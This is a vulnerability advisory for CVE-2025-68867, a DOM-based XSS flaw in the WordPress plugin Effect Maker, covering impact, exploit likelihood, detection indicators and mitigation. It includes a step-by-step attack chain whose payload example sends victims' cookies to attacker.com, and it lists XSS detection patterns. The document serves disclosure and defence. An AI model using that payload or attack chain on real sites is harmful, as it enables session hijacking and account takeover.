CVE-2025-68867: 
WordPress vulnerability analysis and mitigation

CVE-2025-68867 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Effect Maker" developed by anibalwainstein. It affects all versions of the plugin up to and including 1.2.1, with no official patch currently available. The vulnerability was reported by researcher Jarno Vos (jrn5151) on October 5, 2025, and publicly disclosed by Patchstack on December 31, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium), as assessed by CISA-ADP (Patchstack).

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically manifesting as DOM-Based XSS. In DOM-Based XSS, malicious input is processed and rendered by the browser's DOM engine without adequate sanitization, rather than being reflected or stored server-side. Exploitation requires the attacker to have at least Subscriber-level privileges on the WordPress site, and successful execution also requires a privileged user to interact with a crafted link or page (user interaction required). No detailed technical write-up or public PoC code has been identified at this time (Patchstack).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, redirection to malicious sites, or defacement of web content visible to site visitors. The changed scope (S:C) in the CVSS vector indicates the impact can extend beyond the plugin itself to affect the broader WordPress environment and its users (Patchstack).

No public exploit code or active in-the-wild exploitation has been confirmed for CVE-2025-68867. The EPSS score is approximately 0.029%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, Patchstack notes that vulnerabilities of this class are commonly used in mass-exploit campaigns targeting WordPress plugins at scale, regardless of site popularity (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Effect Maker plugin version 1.2.1 or earlier using tools like WPScan or Shodan with WordPress-specific fingerprinting.
2. Obtain low-privilege access: Register or obtain Subscriber-level credentials on the target WordPress site, as the vulnerability requires at least this privilege level to initiate.
3. Craft malicious payload: Construct a DOM-Based XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) targeting the vulnerable input field or parameter within the Effect Maker plugin.
4. Deliver payload: Embed the crafted payload in a page, post, or link associated with the Effect Maker plugin's functionality, then socially engineer a higher-privileged user (e.g., admin) into visiting or interacting with the malicious content.
5. Achieve objective: Upon victim interaction, the injected script executes in the victim's browser, enabling session cookie theft, credential harvesting, or further malicious actions on the WordPress site (Patchstack).

• Logs: WordPress access logs showing unusual requests to Effect Maker plugin endpoints containing encoded JavaScript payloads (e.g., <script>, javascript:, onerror=, onload= patterns in URL parameters or POST bodies.
• Network: Outbound browser requests from site visitors to unknown external domains shortly after interacting with Effect Maker plugin content; potential exfiltration of cookie or session data to attacker-controlled servers.
• File System: Unexpected modifications to Effect Maker plugin files or injection of malicious JavaScript into plugin-related templates or output files.
• Browser/Client: Unexpected redirects, pop-ups, or script errors reported by users when visiting pages that use the Effect Maker plugin.

As of the time of disclosure, no official patch has been released by the plugin developer for Effect Maker. Site administrators are advised to deactivate and remove the Effect Maker plugin until a patched version becomes available. Patchstack has issued a virtual patching/mitigation rule for its subscribers to block exploitation attempts in the interim. Additionally, restricting Subscriber-level user registration on WordPress sites can reduce the attack surface (Patchstack).

Wordfence included CVE-2025-68867 in its weekly WordPress vulnerability report covering December 15, 2025 to January 4, 2026, highlighting it among a broader set of plugin vulnerabilities (Wordfence Blog). The vulnerability received standard automated coverage across CVE aggregation platforms and security feeds, with no notable individual researcher commentary or significant social media discussion identified beyond routine disclosure.